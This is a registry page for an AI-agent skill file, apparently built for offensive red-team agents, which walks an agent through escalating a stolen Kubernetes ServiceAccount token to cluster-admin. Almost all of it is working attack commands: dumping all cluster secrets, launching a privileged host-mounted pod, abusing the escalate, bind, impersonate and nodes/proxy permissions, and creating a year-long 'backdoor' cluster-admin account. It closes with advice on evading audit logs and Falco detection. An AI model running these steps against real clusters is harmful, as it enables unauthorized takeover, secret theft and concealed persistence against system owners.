CtrlK
BlogDocsLog inGet started
Tessl Logo

k8s-rbac-abuse

Kubernetes RBAC privilege escalation paths — ClusterRole/Role enumeration via `kubectl auth can-i --list`, abuse of pods/exec, pods/portforward, secrets get, escalate verb, bind verb, impersonate verb, system:masters group abuse, ServiceAccount token theft and reuse.

68

Quality

82%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

SKILL.md
Quality
Evals
Security

Kubernetes RBAC Privilege Escalation

You have a Kubernetes ServiceAccount token (from a pod escape, kubeconfig leak, or compromised CI runner). Find the path from this SA to cluster-admin.

Phase 1: Enumerate current permissions

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER=https://kubernetes.default.svc

# Set up kubectl with the stolen token
kubectl config set-credentials hacked --token="$TOKEN"
kubectl config set-cluster c --server=$APISERVER --insecure-skip-tls-verify
kubectl config set-context c --cluster=c --user=hacked --namespace=$NS
kubectl config use-context c

# Enumerate everything you can do
kubectl auth can-i --list                    # in your namespace
kubectl auth can-i --list --all-namespaces   # cluster-wide (often forbidden — that's a signal too)
kubectl auth can-i '*' '*' --all-namespaces  # are you cluster-admin?

# Get your role bindings
kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]?.name | contains("YOUR_SA_NAME"))'

Phase 2: Classic escalation paths

2.1 pods/exec or pods/attach on a privileged pod

If you can exec into a pod that has a privileged SecurityContext or a sensitive volume mount, you take that pod's identity:

# Find pods you can exec into
kubectl auth can-i create pods/exec
# Find privileged pods
kubectl get pods -A -o json | jq '.items[] | select(.spec.containers[]?.securityContext?.privileged == true) | "\(.metadata.namespace)/\(.metadata.name)"'

# Exec → escape (see k8s-pod-escape skill)
kubectl exec -it -n kube-system privileged-pod-name -- /bin/sh

2.2 secrets get/list cluster-wide

# Dump every secret in the cluster
kubectl get secrets -A -o json > all_secrets.json
# Service-account tokens, image-pull secrets, custom-application secrets — all here
jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") | "\(.metadata.namespace)/\(.metadata.name): \(.data.token | @base64d)"' all_secrets.json | head

# Pick a more-privileged SA token and re-authenticate
NEW_TOKEN=$(kubectl get secret -n kube-system $(kubectl get sa -n kube-system -o name | head -1 | cut -d/ -f2)-token-XXXXX -o jsonpath='{.data.token}' | base64 -d)
kubectl --token="$NEW_TOKEN" auth can-i '*' '*' --all-namespaces

2.3 create pods — run a privileged pod yourself

Even without exec on existing pods, if you can CREATE pods you can build one that mounts the host:

cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: pwn
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: pwn
    image: alpine
    command: ["nsenter", "-t", "1", "-m", "-u", "-i", "-n", "-p", "sh"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /
EOF
kubectl exec -it pwn -- /bin/sh

If PSP / Pod Security Admission blocks privileged: true, downgrade gradually: hostPath: /, hostPID alone, capabilities: [SYS_ADMIN], etc. PSA's restricted profile blocks all of these; baseline blocks privileged + hostPath but allows hostPID; privileged allows everything.

2.4 escalate verb

The escalate verb on roles/clusterroles lets you create a role with permissions you DON'T have:

kubectl auth can-i escalate clusterroles
# If "yes":
cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: total-pwn
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
EOF
# Then bind it to your SA
kubectl create clusterrolebinding pwn --clusterrole=total-pwn --serviceaccount=$NS:default

2.5 bind verb

The bind verb lets you bind an existing higher-privilege ClusterRole to your SA:

kubectl auth can-i create clusterrolebindings
# OR
kubectl auth can-i bind clusterroles
# Either gives you escalation to cluster-admin:
kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=$NS:default

2.6 impersonate verb

kubectl auth can-i impersonate users
# If yes, impersonate cluster-admin:
kubectl --as=system:admin auth can-i '*' '*' --all-namespaces
kubectl --as=system:admin get secrets -A
# Or impersonate a group:
kubectl --as=anything --as-group=system:masters get secrets -A

2.7 nodes/proxy — bypass RBAC via kubelet

kubectl auth can-i get nodes/proxy
# If yes, talk to the kubelet directly (bypasses the API server's RBAC)
kubectl proxy --port=8080 &
curl -sk http://localhost:8080/api/v1/nodes/$NODE/proxy/run/POD_NS/POD_NAME/CONTAINER -X POST -d 'cmd=id'

Phase 3: Token persistence

# Create a long-lived SA token (k8s 1.24+ doesn't auto-mount tokens forever)
kubectl create token your-sa --duration=720h    # 30-day token

# Or create an SA + ClusterRoleBinding pair that survives revocation of yours
kubectl create sa backdoor -n kube-system
kubectl create clusterrolebinding backdoor --clusterrole=cluster-admin --serviceaccount=kube-system:backdoor
TOKEN=$(kubectl create token backdoor -n kube-system --duration=8760h)   # 1 year

OPSEC

  • Every kubectl call hits the API server audit log. kubectl auth can-i --list calls SelfSubjectRulesReview — distinctive in audit logs.
  • Falco and Sysdig rules flag create-clusterrolebinding, impersonate, and nodes/proxy access.
  • Token theft from etcd / pod-filesystem leaves no audit trail until the token is USED — separate the steal and the use in time if possible.
  • Prefer --user-agent matching the kubectl version already in use on the cluster to blend in.

References

  • Kubernetes RBAC docs
  • BadPods (Bishop Fox) — every PSA bypass class
  • DEFCON 30 "Hacking Kubernetes" — Madhu Akula / Andrew Martin
  • KubiScan — tools for the defender side
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.